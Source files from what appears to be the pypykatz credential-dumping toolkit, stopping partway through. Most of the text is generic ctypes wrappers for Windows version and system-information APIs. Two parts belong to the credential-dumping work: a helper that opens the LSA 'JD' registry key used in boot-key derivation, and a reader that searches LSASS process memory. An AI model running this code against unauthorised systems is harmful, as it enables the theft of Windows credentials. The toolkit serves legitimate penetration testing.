414 _GetNativeSystemInfo = windll.kernel32.GetNativeSystemInfo
415 _GetNativeSystemInfo.argtypes = [LPSYSTEM_INFO]
416 _GetNativeSystemInfo.restype = None
417
418 sysinfo = SYSTEM_INFO()
419 _GetNativeSystemInfo(byref(sysinfo))
420 return sysinfo
421
422 # int WINAPI GetSystemMetrics(
423 # __in int nIndex
424 # );
425 def GetSystemMetrics(nIndex):
426 _GetSystemMetrics = windll.user32.GetSystemMetrics
427 _GetSystemMetrics.argtypes = [ctypes.c_int]
428 _GetSystemMetrics.restype = ctypes.c_int
429 return _GetSystemMetrics(nIndex)
430
431 # SIZE_T WINAPI GetLargePageMinimum(void);
432 def GetLargePageMinimum():
433 _GetLargePageMinimum = windll.user32.GetLargePageMinimum
434 _GetLargePageMinimum.argtypes = []
435 _GetLargePageMinimum.restype = SIZE_T
436 return _GetLargePageMinimum()
437
438 # HANDLE WINAPI GetCurrentProcess(void);
439 def GetCurrentProcess():
440 ## return 0xFFFFFFFFFFFFFFFFL
441 _GetCurrentProcess = windll.kernel32.GetCurrentProcess
442 _GetCurrentProcess.argtypes = []
443 _GetCurrentProcess.restype = HANDLE
444 return _GetCurrentProcess()
445
446 # HANDLE WINAPI GetCurrentThread(void);
447 def GetCurrentThread():
448 ## return 0xFFFFFFFFFFFFFFFEL
449 _GetCurrentThread = windll.kernel32.GetCurrentThread
450 _GetCurrentThread.argtypes = []
451 _GetCurrentThread.restype = HANDLE
452 return _GetCurrentThread()
453
454 # BOOL WINAPI IsWow64Process(
455 # __in HANDLE hProcess,
456 # __out PBOOL Wow64Process
457 # );
458 def IsWow64Process(hProcess):
459 _IsWow64Process = windll.kernel32.IsWow64Process
460 _IsWow64Process.argtypes = [HANDLE, PBOOL]
461 _IsWow64Process.restype = bool
462 _IsWow64Process.errcheck = RaiseIfZero
463
464 Wow64Process = BOOL(FALSE)
465 _IsWow64Process(hProcess, byref(Wow64Process))
466 return bool(Wow64Process)
467
468 # DWORD WINAPI GetVersion(void);
469 def GetVersion():
470 _GetVersion = windll.kernel32.GetVersion
471 _GetVersion.argtypes = []
472 _GetVersion.restype = DWORD
473 _GetVersion.errcheck = RaiseIfZero
474
475 # See the example code here:
476 # http://msdn.microsoft.com/en-us/library/ms724439(VS.85).aspx
477
478 dwVersion = _GetVersion()
479 dwMajorVersion = dwVersion & 0x000000FF
480 dwMinorVersion = (dwVersion & 0x0000FF00) >> 8
481 if (dwVersion & 0x80000000) == 0:
482 dwBuild = (dwVersion & 0x7FFF0000) >> 16
483 else:
484 dwBuild = None
485 return int(dwMajorVersion), int(dwMinorVersion), int(dwBuild)
486
487 # BOOL WINAPI GetVersionEx(
488 # __inout LPOSVERSIONINFO lpVersionInfo
489 # );
490 def GetVersionExA():
491 _GetVersionExA = windll.kernel32.GetVersionExA
492 _GetVersionExA.argtypes = [POINTER(OSVERSIONINFOEXA)]
493 _GetVersionExA.restype = bool
494 _GetVersionExA.errcheck = RaiseIfZero
495
496 osi = OSVERSIONINFOEXA()
497 osi.dwOSVersionInfoSize = sizeof(osi)
498 try:
499 _GetVersionExA(byref(osi))
500 except WindowsError:
501 osi = OSVERSIONINFOA()
502 osi.dwOSVersionInfoSize = sizeof(osi)
503 _GetVersionExA.argtypes = [POINTER(OSVERSIONINFOA)]
504 _GetVersionExA(byref(osi))
505 return osi
506
507 def GetVersionExW():
508 _GetVersionExW = windll.kernel32.GetVersionExW
509 _GetVersionExW.argtypes = [POINTER(OSVERSIONINFOEXW)]
510 _GetVersionExW.restype = bool
511 _GetVersionExW.errcheck = RaiseIfZero
512
513 osi = OSVERSIONINFOEXW()
514 osi.dwOSVersionInfoSize = sizeof(osi)
515 try:
516 _GetVersionExW(byref(osi))
517 except WindowsError:
518 osi = OSVERSIONINFOW()
519 osi.dwOSVersionInfoSize = sizeof(osi)
520 _GetVersionExW.argtypes = [POINTER(OSVERSIONINFOW)]
521 _GetVersionExW(byref(osi))
522 return osi
523
524 GetVersionEx = GuessStringType(GetVersionExA, GetVersionExW)
525
526 # BOOL WINAPI GetProductInfo(
527 # __in DWORD dwOSMajorVersion,
528 # __in DWORD dwOSMinorVersion,
529 # __in DWORD dwSpMajorVersion,
530 # __in DWORD dwSpMinorVersion,
531 # __out PDWORD pdwReturnedProductType
532 # );
533 def GetProductInfo(dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion):
534 _GetProductInfo = windll.kernel32.GetProductInfo
535 _GetProductInfo.argtypes = [DWORD, DWORD, DWORD, DWORD, PDWORD]
536 _GetProductInfo.restype = BOOL
537 _GetProductInfo.errcheck = RaiseIfZero
538
539 dwReturnedProductType = DWORD(0)
540 _GetProductInfo(dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion, byref(dwReturnedProductType))
541 return dwReturnedProductType.value
542
543 # BOOL WINAPI VerifyVersionInfo(
544 # __in LPOSVERSIONINFOEX lpVersionInfo,
545 # __in DWORD dwTypeMask,
546 # __in DWORDLONG dwlConditionMask
547 # );
548 def VerifyVersionInfo(lpVersionInfo, dwTypeMask, dwlConditionMask):
549 if isinstance(lpVersionInfo, OSVERSIONINFOEXA):
550 return VerifyVersionInfoA(lpVersionInfo, dwTypeMask, dwlConditionMask)
551 if isinstance(lpVersionInfo, OSVERSIONINFOEXW):
552 return VerifyVersionInfoW(lpVersionInfo, dwTypeMask, dwlConditionMask)
553 raise TypeError("Bad OSVERSIONINFOEX structure")
554
555 def VerifyVersionInfoA(lpVersionInfo, dwTypeMask, dwlConditionMask):
556 _VerifyVersionInfoA = windll.kernel32.VerifyVersionInfoA
557 _VerifyVersionInfoA.argtypes = [LPOSVERSIONINFOEXA, DWORD, DWORDLONG]
558 _VerifyVersionInfoA.restype = bool
559 return _VerifyVersionInfoA(byref(lpVersionInfo), dwTypeMask, dwlConditionMask)
560
561 def VerifyVersionInfoW(lpVersionInfo, dwTypeMask, dwlConditionMask):
562 _VerifyVersionInfoW = windll.kernel32.VerifyVersionInfoW
563 _VerifyVersionInfoW.argtypes = [LPOSVERSIONINFOEXW, DWORD, DWORDLONG]
564 _VerifyVersionInfoW.restype = bool
565 return _VerifyVersionInfoW(byref(lpVersionInfo), dwTypeMask, dwlConditionMask)
566
567 # ULONGLONG WINAPI VerSetConditionMask(
568 # __in ULONGLONG dwlConditionMask,
569 # __in DWORD dwTypeBitMask,
570 # __in BYTE dwConditionMask
571 # );
572 def VerSetConditionMask(dwlConditionMask, dwTypeBitMask, dwConditionMask):
573 _VerSetConditionMask = windll.kernel32.VerSetConditionMask
574 _VerSetConditionMask.argtypes = [ULONGLONG, DWORD, BYTE]
575 _VerSetConditionMask.restype = ULONGLONG
576 return _VerSetConditionMask(dwlConditionMask, dwTypeBitMask, dwConditionMask)
577
578 #--- get_bits, get_arch and get_os --------------------------------------------
579
580 ARCH_UNKNOWN = "unknown"
581 ARCH_I386 = "i386"
582 ARCH_MIPS = "mips"
583 ARCH_ALPHA = "alpha"
584 ARCH_PPC = "ppc"
585 ARCH_SHX = "shx"
586 ARCH_ARM = "arm"
587 ARCH_ARM64 = "arm64"
588 ARCH_THUMB = "thumb"
589 ARCH_IA64 = "ia64"
590 ARCH_ALPHA64 = "alpha64"
591 ARCH_MSIL = "msil"
592 ARCH_AMD64 = "amd64"
593 ARCH_SPARC = "sparc"
594
595 # aliases
596 ARCH_IA32 = ARCH_I386
597 ARCH_X86 = ARCH_I386
598 ARCH_X64 = ARCH_AMD64
599 ARCH_ARM7 = ARCH_ARM
600 ARCH_ARM8 = ARCH_ARM64
601 ARCH_T32 = ARCH_THUMB
602 ARCH_AARCH32 = ARCH_ARM7
603 ARCH_AARCH64 = ARCH_ARM8
604 ARCH_POWERPC = ARCH_PPC
605 ARCH_HITACHI = ARCH_SHX
606 ARCH_ITANIUM = ARCH_IA64
607
608 # win32 constants -> our constants
609 _arch_map = {
610 PROCESSOR_ARCHITECTURE_INTEL : ARCH_I386,
611 PROCESSOR_ARCHITECTURE_MIPS : ARCH_MIPS,
612 PROCESSOR_ARCHITECTURE_ALPHA : ARCH_ALPHA,
613 PROCESSOR_ARCHITECTURE_PPC : ARCH_PPC,
614 PROCESSOR_ARCHITECTURE_SHX : ARCH_SHX,
615 PROCESSOR_ARCHITECTURE_ARM : ARCH_ARM,
616 PROCESSOR_ARCHITECTURE_IA64 : ARCH_IA64,
617 PROCESSOR_ARCHITECTURE_ALPHA64 : ARCH_ALPHA64,
618 PROCESSOR_ARCHITECTURE_MSIL : ARCH_MSIL,
619 PROCESSOR_ARCHITECTURE_AMD64 : ARCH_AMD64,
620 PROCESSOR_ARCHITECTURE_SPARC : ARCH_SPARC,
621 }
622
623 OS_UNKNOWN = "Unknown"
624 OS_NT = "Windows NT"
625 OS_W2K = "Windows 2000"
626 OS_XP = "Windows XP"
627 OS_XP_64 = "Windows XP (64 bits)"
628 OS_W2K3 = "Windows 2003"
629 OS_W2K3_64 = "Windows 2003 (64 bits)"
630 OS_W2K3R2 = "Windows 2003 R2"
631 OS_W2K3R2_64 = "Windows 2003 R2 (64 bits)"
632 OS_W2K8 = "Windows 2008"
633 OS_W2K8_64 = "Windows 2008 (64 bits)"
634 OS_W2K8R2 = "Windows 2008 R2"
635 OS_W2K8R2_64 = "Windows 2008 R2 (64 bits)"
636 OS_VISTA = "Windows Vista"
637 OS_VISTA_64 = "Windows Vista (64 bits)"
638 OS_W7 = "Windows 7"
639 OS_W7_64 = "Windows 7 (64 bits)"
640
641 OS_SEVEN = OS_W7
642 OS_SEVEN_64 = OS_W7_64
643
644 OS_WINDOWS_NT = OS_NT
645 OS_WINDOWS_2000 = OS_W2K
646 OS_WINDOWS_XP = OS_XP
647 OS_WINDOWS_XP_64 = OS_XP_64
648 OS_WINDOWS_2003 = OS_W2K3
649 OS_WINDOWS_2003_64 = OS_W2K3_64
650 OS_WINDOWS_2003_R2 = OS_W2K3R2
651 OS_WINDOWS_2003_R2_64 = OS_W2K3R2_64
652 OS_WINDOWS_2008 = OS_W2K8
653 OS_WINDOWS_2008_64 = OS_W2K8_64
654 OS_WINDOWS_2008_R2 = OS_W2K8R2
655 OS_WINDOWS_2008_R2_64 = OS_W2K8R2_64
656 OS_WINDOWS_VISTA = OS_VISTA
657 OS_WINDOWS_VISTA_64 = OS_VISTA_64
658 OS_WINDOWS_SEVEN = OS_W7
659 OS_WINDOWS_SEVEN_64 = OS_W7_64
660
661 def _get_bits():
662 """
663 Determines the current integer size in bits.
664
665 This is useful to know if we're running in a 32 bits or a 64 bits machine.
666
667 @rtype: int
668 @return: Returns the size of L{SIZE_T} in bits.
669 """
670 return sizeof(SIZE_T) * 8
671
672 def _get_arch():
673 """
674 Determines the current processor architecture.
675
676 @rtype: str
677 @return:
678 On error, returns:
679
680 - L{ARCH_UNKNOWN} (C{"unknown"}) meaning the architecture could not be detected or is not known to WinAppDbg.
681
682 On success, returns one of the following values:
683
684 - L{ARCH_I386} (C{"i386"}) for Intel 32-bit x86 processor or compatible.
685 - L{ARCH_AMD64} (C{"amd64"}) for Intel 64-bit x86_64 processor or compatible.
686
687 May also return one of the following values if you get both Python and
688 WinAppDbg to work in such machines... let me know if you do! :)
689
690 - L{ARCH_MIPS} (C{"mips"}) for MIPS compatible processors.
691 - L{ARCH_ALPHA} (C{"alpha"}) for Alpha processors.
692 - L{ARCH_PPC} (C{"ppc"}) for PowerPC compatible processors.
693 - L{ARCH_SHX} (C{"shx"}) for Hitachi SH processors.
694 - L{ARCH_ARM} (C{"arm"}) for ARM compatible processors.
695 - L{ARCH_IA64} (C{"ia64"}) for Intel Itanium processor or compatible.
696 - L{ARCH_ALPHA64} (C{"alpha64"}) for Alpha64 processors.
697 - L{ARCH_MSIL} (C{"msil"}) for the .NET virtual machine.
698 - L{ARCH_SPARC} (C{"sparc"}) for Sun Sparc processors.
699
700 Probably IronPython returns C{ARCH_MSIL} but I haven't tried it. Python
701 on Windows CE and Windows Mobile should return C{ARCH_ARM}. Python on
702 Solaris using Wine would return C{ARCH_SPARC}. Python in an Itanium
703 machine should return C{ARCH_IA64} both on Wine and proper Windows.
704 All other values should only be returned on Linux using Wine.
705 """
706 try:
707 si = GetNativeSystemInfo()
708 except Exception:
709 si = GetSystemInfo()
710 try:
711 return _arch_map[si.id.w.wProcessorArchitecture]
712 except KeyError:
713 return ARCH_UNKNOWN
714
715 def _get_wow64():
716 """
717 Determines if the current process is running in Windows-On-Windows 64 bits.
718
719 @rtype: bool
720 @return: C{True} of the current process is a 32 bit program running in a
721 64 bit version of Windows, C{False} if it's either a 32 bit program
722 in a 32 bit Windows or a 64 bit program in a 64 bit Windows.
723 """
724 # Try to determine if the debugger itself is running on WOW64.
725 # On error assume False.
726 if bits == 64:
727 wow64 = False
728 else:
729 try:
730 wow64 = IsWow64Process( GetCurrentProcess() )
731 except Exception:
732 wow64 = False
733 return wow64
734
735 def _get_os(osvi = None):
736 """
737 Determines the current operating system.
738
739 This function allows you to quickly tell apart major OS differences.
740 For more detailed information call L{GetVersionEx} instead.
741
742 @note:
743 Wine reports itself as Windows XP 32 bits
744 (even if the Linux host is 64 bits).
745 ReactOS may report itself as Windows 2000 or Windows XP,
746 depending on the version of ReactOS.
747
748 @type osvi: L{OSVERSIONINFOEXA}
749 @param osvi: Optional. The return value from L{GetVersionEx}.
750
751 @rtype: str
752 @return:
753 One of the following values:
754 - L{OS_UNKNOWN} (C{"Unknown"})
755 - L{OS_NT} (C{"Windows NT"})
756 - L{OS_W2K} (C{"Windows 2000"})
757 - L{OS_XP} (C{"Windows XP"})
758 - L{OS_XP_64} (C{"Windows XP (64 bits)"})
759 - L{OS_W2K3} (C{"Windows 2003"})
760 - L{OS_W2K3_64} (C{"Windows 2003 (64 bits)"})
761 - L{OS_W2K3R2} (C{"Windows 2003 R2"})
762 - L{OS_W2K3R2_64} (C{"Windows 2003 R2 (64 bits)"})
763 - L{OS_W2K8} (C{"Windows 2008"})
764 - L{OS_W2K8_64} (C{"Windows 2008 (64 bits)"})
765 - L{OS_W2K8R2} (C{"Windows 2008 R2"})
766 - L{OS_W2K8R2_64} (C{"Windows 2008 R2 (64 bits)"})
767 - L{OS_VISTA} (C{"Windows Vista"})
768 - L{OS_VISTA_64} (C{"Windows Vista (64 bits)"})
769 - L{OS_W7} (C{"Windows 7"})
770 - L{OS_W7_64} (C{"Windows 7 (64 bits)"})
771 """
772 # rough port of http://msdn.microsoft.com/en-us/library/ms724429%28VS.85%29.aspx
773 if not osvi:
774 osvi = GetVersionEx()
775 if osvi.dwPlatformId == VER_PLATFORM_WIN32_NT and osvi.dwMajorVersion > 4:
776 if osvi.dwMajorVersion == 6:
777 if osvi.dwMinorVersion == 0:
778 if osvi.wProductType == VER_NT_WORKSTATION:
779 if bits == 64 or wow64:
780 return 'Windows Vista (64 bits)'
781 return 'Windows Vista'
782 else:
783 if bits == 64 or wow64:
784 return 'Windows 2008 (64 bits)'
785 return 'Windows 2008'
786 if osvi.dwMinorVersion == 1:
787 if osvi.wProductType == VER_NT_WORKSTATION:
788 if bits == 64 or wow64:
789 return 'Windows 7 (64 bits)'
790 return 'Windows 7'
791 else:
792 if bits == 64 or wow64:
793 return 'Windows 2008 R2 (64 bits)'
794 return 'Windows 2008 R2'
795 if osvi.dwMajorVersion == 5:
796 if osvi.dwMinorVersion == 2:
797 if GetSystemMetrics(SM_SERVERR2):
798 if bits == 64 or wow64:
799 return 'Windows 2003 R2 (64 bits)'
800 return 'Windows 2003 R2'
801 if osvi.wSuiteMask in (VER_SUITE_STORAGE_SERVER, VER_SUITE_WH_SERVER):
802 if bits == 64 or wow64:
803 return 'Windows 2003 (64 bits)'
804 return 'Windows 2003'
805 if osvi.wProductType == VER_NT_WORKSTATION and arch == ARCH_AMD64:
806 return 'Windows XP (64 bits)'
807 else:
808 if bits == 64 or wow64:
809 return 'Windows 2003 (64 bits)'
810 return 'Windows 2003'
811 if osvi.dwMinorVersion == 1:
812 return 'Windows XP'
813 if osvi.dwMinorVersion == 0:
814 return 'Windows 2000'
815 if osvi.dwMajorVersion == 4:
816 return 'Windows NT'
817 return 'Unknown'
818
819 def _get_ntddi(osvi):
820 """
821 Determines the current operating system.
822
823 This function allows you to quickly tell apart major OS differences.
824 For more detailed information call L{kernel32.GetVersionEx} instead.
825
826 @note:
827 Wine reports itself as Windows XP 32 bits
828 (even if the Linux host is 64 bits).
829 ReactOS may report itself as Windows 2000 or Windows XP,
830 depending on the version of ReactOS.
831
832 @type osvi: L{OSVERSIONINFOEXA}
833 @param osvi: Optional. The return value from L{kernel32.GetVersionEx}.
834
835 @rtype: int
836 @return: NTDDI version number.
837 """
838 if not osvi:
839 osvi = GetVersionEx()
840 ntddi = 0
841 ntddi += (osvi.dwMajorVersion & 0xFF) << 24
842 ntddi += (osvi.dwMinorVersion & 0xFF) << 16
843 ntddi += (osvi.wServicePackMajor & 0xFF) << 8
844 ntddi += (osvi.wServicePackMinor & 0xFF)
845 return ntddi
846
847 # The order of the following definitions DOES matter!
848
849 # Current integer size in bits. See L{_get_bits} for more details.
850 bits = _get_bits()
851
852 # Current processor architecture. See L{_get_arch} for more details.
853 arch = _get_arch()
854
855 # Set to C{True} if the current process is running in WOW64. See L{_get_wow64} for more details.
856 wow64 = _get_wow64()
857
858 _osvi = GetVersionEx()
859
860 # Current operating system. See L{_get_os} for more details.
861 os = _get_os(_osvi)
862
863 # Current operating system as an NTDDI constant. See L{_get_ntddi} for more details.
864 NTDDI_VERSION = _get_ntddi(_osvi)
865
866 # Upper word of L{NTDDI_VERSION}, contains the OS major and minor version number.
867 WINVER = NTDDI_VERSION >> 16
868
869 #--- version.dll --------------------------------------------------------------
870
871 VS_FF_DEBUG = 0x00000001
872 VS_FF_PRERELEASE = 0x00000002
873 VS_FF_PATCHED = 0x00000004
874 VS_FF_PRIVATEBUILD = 0x00000008
875 VS_FF_INFOINFERRED = 0x00000010
876 VS_FF_SPECIALBUILD = 0x00000020
877
878 VOS_UNKNOWN = 0x00000000
879 VOS__WINDOWS16 = 0x00000001
880 VOS__PM16 = 0x00000002
881 VOS__PM32 = 0x00000003
882 VOS__WINDOWS32 = 0x00000004
883 VOS_DOS = 0x00010000
884 VOS_OS216 = 0x00020000
885 VOS_OS232 = 0x00030000
886 VOS_NT = 0x00040000
887
888 VOS_DOS_WINDOWS16 = 0x00010001
889 VOS_DOS_WINDOWS32 = 0x00010004
890 VOS_NT_WINDOWS32 = 0x00040004
891 VOS_OS216_PM16 = 0x00020002
892 VOS_OS232_PM32 = 0x00030003
893
894 VFT_UNKNOWN = 0x00000000
895 VFT_APP = 0x00000001
896 VFT_DLL = 0x00000002
897 VFT_DRV = 0x00000003
898 VFT_FONT = 0x00000004
899 VFT_VXD = 0x00000005
900 VFT_RESERVED = 0x00000006 # undocumented
901 VFT_STATIC_LIB = 0x00000007
902
903 VFT2_UNKNOWN = 0x00000000
904
905 VFT2_DRV_PRINTER = 0x00000001
906 VFT2_DRV_KEYBOARD = 0x00000002
907 VFT2_DRV_LANGUAGE = 0x00000003
908 VFT2_DRV_DISPLAY = 0x00000004
909 VFT2_DRV_MOUSE = 0x00000005
910 VFT2_DRV_NETWORK = 0x00000006
911 VFT2_DRV_SYSTEM = 0x00000007
912 VFT2_DRV_INSTALLABLE = 0x00000008
913 VFT2_DRV_SOUND = 0x00000009
914 VFT2_DRV_COMM = 0x0000000A
915 VFT2_DRV_RESERVED = 0x0000000B # undocumented
916 VFT2_DRV_VERSIONED_PRINTER = 0x0000000C
917
918 VFT2_FONT_RASTER = 0x00000001
919 VFT2_FONT_VECTOR = 0x00000002
920 VFT2_FONT_TRUETYPE = 0x00000003
921
922 # typedef struct tagVS_FIXEDFILEINFO {
923 # DWORD dwSignature;
924 # DWORD dwStrucVersion;
925 # DWORD dwFileVersionMS;
926 # DWORD dwFileVersionLS;
927 # DWORD dwProductVersionMS;
928 # DWORD dwProductVersionLS;
929 # DWORD dwFileFlagsMask;
930 # DWORD dwFileFlags;
931 # DWORD dwFileOS;
932 # DWORD dwFileType;
933 # DWORD dwFileSubtype;
934 # DWORD dwFileDateMS;
935 # DWORD dwFileDateLS;
936 # } VS_FIXEDFILEINFO;
937 class VS_FIXEDFILEINFO(Structure):
938 _fields_ = [
939 ("dwSignature", DWORD),
940 ("dwStrucVersion", DWORD),
941 ("dwFileVersionMS", DWORD),
942 ("dwFileVersionLS", DWORD),
943 ("dwProductVersionMS", DWORD),
944 ("dwProductVersionLS", DWORD),
945 ("dwFileFlagsMask", DWORD),
946 ("dwFileFlags", DWORD),
947 ("dwFileOS", DWORD),
948 ("dwFileType", DWORD),
949 ("dwFileSubtype", DWORD),
950 ("dwFileDateMS", DWORD),
951 ("dwFileDateLS", DWORD),
952 ]
953 PVS_FIXEDFILEINFO = POINTER(VS_FIXEDFILEINFO)
954 LPVS_FIXEDFILEINFO = PVS_FIXEDFILEINFO
955
956 # BOOL WINAPI GetFileVersionInfo(
957 # _In_ LPCTSTR lptstrFilename,
958 # _Reserved_ DWORD dwHandle,
959 # _In_ DWORD dwLen,
960 # _Out_ LPVOID lpData
961 # );
962 # DWORD WINAPI GetFileVersionInfoSize(
963 # _In_ LPCTSTR lptstrFilename,
964 # _Out_opt_ LPDWORD lpdwHandle
965 # );
966 def GetFileVersionInfoA(lptstrFilename):
967 _GetFileVersionInfoA = windll.version.GetFileVersionInfoA
968 _GetFileVersionInfoA.argtypes = [LPSTR, DWORD, DWORD, LPVOID]
969 _GetFileVersionInfoA.restype = bool
970 _GetFileVersionInfoA.errcheck = RaiseIfZero
971
972 _GetFileVersionInfoSizeA = windll.version.GetFileVersionInfoSizeA
973 _GetFileVersionInfoSizeA.argtypes = [LPSTR, LPVOID]
974 _GetFileVersionInfoSizeA.restype = DWORD
975 _GetFileVersionInfoSizeA.errcheck = RaiseIfZero
976
977 dwLen = _GetFileVersionInfoSizeA(lptstrFilename, None)
978 lpData = ctypes.create_string_buffer(dwLen)
979 _GetFileVersionInfoA(lptstrFilename, 0, dwLen, byref(lpData))
980 return lpData
981
982 def GetFileVersionInfoW(lptstrFilename):
983 _GetFileVersionInfoW = windll.version.GetFileVersionInfoW
984 _GetFileVersionInfoW.argtypes = [LPWSTR, DWORD, DWORD, LPVOID]
985 _GetFileVersionInfoW.restype = bool
986 _GetFileVersionInfoW.errcheck = RaiseIfZero
987
988 _GetFileVersionInfoSizeW = windll.version.GetFileVersionInfoSizeW
989 _GetFileVersionInfoSizeW.argtypes = [LPWSTR, LPVOID]
990 _GetFileVersionInfoSizeW.restype = DWORD
991 _GetFileVersionInfoSizeW.errcheck = RaiseIfZero
992
993 dwLen = _GetFileVersionInfoSizeW(lptstrFilename, None)
994 lpData = ctypes.create_string_buffer(dwLen) # not a string!
995 _GetFileVersionInfoW(lptstrFilename, 0, dwLen, byref(lpData))
996 return lpData
997
998 GetFileVersionInfo = GuessStringType(GetFileVersionInfoA, GetFileVersionInfoW)
999
1000 # BOOL WINAPI VerQueryValue(
1001 # _In_ LPCVOID pBlock,
1002 # _In_ LPCTSTR lpSubBlock,
1003 # _Out_ LPVOID *lplpBuffer,
1004 # _Out_ PUINT puLen
1005 # );
1006 def VerQueryValueA(pBlock, lpSubBlock):
1007 _VerQueryValueA = windll.version.VerQueryValueA
1008 _VerQueryValueA.argtypes = [LPVOID, LPSTR, LPVOID, POINTER(UINT)]
1009 _VerQueryValueA.restype = bool
1010 _VerQueryValueA.errcheck = RaiseIfZero
1011
1012 lpBuffer = LPVOID(0)
1013 uLen = UINT(0)
1014 _VerQueryValueA(pBlock, lpSubBlock, byref(lpBuffer), byref(uLen))
1015 return lpBuffer, uLen.value
1016
1017 def VerQueryValueW(pBlock, lpSubBlock):
1018 _VerQueryValueW = windll.version.VerQueryValueW
1019 _VerQueryValueW.argtypes = [LPVOID, LPWSTR, LPVOID, POINTER(UINT)]
1020 _VerQueryValueW.restype = bool
1021 _VerQueryValueW.errcheck = RaiseIfZero
1022
1023 lpBuffer = LPVOID(0)
1024 uLen = UINT(0)
1025 _VerQueryValueW(pBlock, lpSubBlock, byref(lpBuffer), byref(uLen))
1026 return lpBuffer, uLen.value
1027
1028 VerQueryValue = GuessStringType(VerQueryValueA, VerQueryValueW)
1029
1030 #==============================================================================
1031 # This calculates the list of exported symbols.
1032 _all = set(vars().keys()).difference(_all)
1033 __all__ = [_x for _x in _all if not _x.startswith('_')]
1034 __all__.sort()
1035 #==============================================================================
0 import ctypes
1 import winreg
2 from pypykatz.commons.readers.local.common.defines import *
3
4 # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeya
5 def RegOpenKey(key_handle, key_path):
6 _RegOpenKey = windll.Advapi32.RegOpenKeyA
7 _RegOpenKey.argtypes = [HANDLE, LPSTR, PHANDLE]
8 _RegOpenKey.restype = bool
9 _RegOpenKey.errcheck = RaiseIfNotZero
10
11 lpClass = ctypes.create_string_buffer(key_path.encode())
12 key_handle_new = HANDLE()
13
14 res = _RegOpenKey(key_handle, lpClass, byref(key_handle_new))
15
16 return key_handle_new
17
18 # https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryinfokeya
19 def RegQueryInfoKey(key_handle):
20 _RegQueryInfoKey = windll.Advapi32.RegQueryInfoKeyA
21 _RegQueryInfoKey.argtypes = [HKEY, LPSTR, LPDWORD, LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,LPDWORD,PVOID]
22 _RegQueryInfoKey.restype = bool
23 _RegQueryInfoKey.errcheck = RaiseIfNotZero
24
25 lpClass = ctypes.create_string_buffer(b"", 255)
26 lpcchClass = DWORD(255)
27 lpReserved = DWORD(0)
28 lpcSubKeys = DWORD(0)
29 lpcbMaxSubKeyLen = DWORD(0)
30 lpcbMaxClassLen = DWORD(0)
31 lpcValues = DWORD(0)
32 lpcbMaxValueNameLen = DWORD(0)
33 lpcbMaxValueLen = DWORD(0)
34 lpcbSecurityDescriptor = DWORD(0)
35 lpftLastWriteTime = None
36
37 res = _RegQueryInfoKey(key_handle, lpClass, lpcchClass, None, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime)
38
39 return (lpClass.value, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen,
40 lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen,
41 lpcbSecurityDescriptor, lpftLastWriteTime)
42
43 if __name__ == '__main__':
44 pkey = winreg.HKEY_LOCAL_MACHINE
45 for name in 'SYSTEM\\ControlSet001\\Control\\Lsa\\JD'.split('\\'):
46 pkey = RegOpenKey(pkey, name)
47
48 ki = RegQueryInfoKey(pkey)
49 print(ki[0])
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from .common.live_reader_ctypes import *
7 from .common.privileges import enable_debug_privilege
8 from .common.psapi import *
9 from .common.version import *
10 from .common.kernel32 import *
11 from .common.fileinfo import *
12 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
13
14 import logging
15 import sys
16 import copy
17 import platform
18 import os
19 import ntpath
20 import winreg
21
22 class Module:
23 def __init__(self):
24 self.name = None
25 self.baseaddress = None
26 self.size = None
27 self.endaddress = None
28 self.pages = []
29
30 self.versioninfo = None
31 self.checksum = None
32 self.timestamp = None
33
34 def inrange(self, addr):
35 return self.baseaddress <= addr < self.endaddress
36
37 def parse(name, module_info, timestamp):
38 m = Module()
39 m.name = name
40 m.baseaddress = module_info.lpBaseOfDll
41 m.size = module_info.SizeOfImage
42 m.endaddress = m.baseaddress + m.size
43
44 m.timestamp = timestamp
45
46 return m
47
48 def __str__(self):
49 return '%s %s %s %s %s' % (self.name, hex(self.baseaddress), hex(self.size), hex(self.endaddress), self.timestamp )
50
51 class Page:
52 def __init__(self):
53 self.BaseAddress = None
54 self.AllocationBase = None
55 self.AllocationProtect = None
56 self.RegionSize = None
57 self.EndAddress = None
58
59 self.data = None
60
61 def parse(page_info):
62 p = Page()
63 p.BaseAddress = page_info.BaseAddress
64 p.AllocationBase = page_info.AllocationBase
65 p.AllocationProtect = page_info.AllocationProtect
66 p.RegionSize = min(page_info.RegionSize, 100*1024*1024) # TODO: need this currently to stop infinite search
67 p.EndAddress = page_info.BaseAddress + page_info.RegionSize
68 return p
69
70 def read_data(self, lsass_process_handle):
71 self.data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize)
72
73 def inrange(self, addr):
74 return self.BaseAddress <= addr < self.EndAddress
75
76 def search(self, pattern, lsass_process_handle):
77 if len(pattern) > self.RegionSize:
78 return []
79 data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize)
80 fl = []
81 offset = 0
82 while len(data) > len(pattern):
83 marker = data.find(pattern)
84 if marker == -1:
85 return fl
86 fl.append(marker + offset + self.BaseAddress)
87 data = data[marker+1:]
88 offset = marker + 1
89
90 return fl
91
92 def __str__(self):
93 return '0x%08x 0x%08x %s 0x%08x' % (self.BaseAddress, self.AllocationBase, self.AllocationProtect, self.RegionSize)
94
95
96 class BufferedLiveReader:
97 def __init__(self, reader):
98 self.reader = reader
99 self.pages = []
100
101 self.current_segment = None
102 self.current_position = None
103
104 def _select_segment(self, requested_position):
105 """
106
107 """
108 # check if we have semgnet for requested address in cache
109 for page in self.pages:
110 if page.inrange(requested_position):
111 self.current_segment = page
112 self.current_position = requested_position
113 return
114
115 # not in cache, check if it's present in memory space. if yes then create a new buffered memeory object, and copy data
116 for page in self.reader.pages:
117 if page.inrange(requested_position):
118 page.read_data(self.reader.lsass_process_handle)
119 newsegment = copy.deepcopy(page)
120 self.pages.append(newsegment)
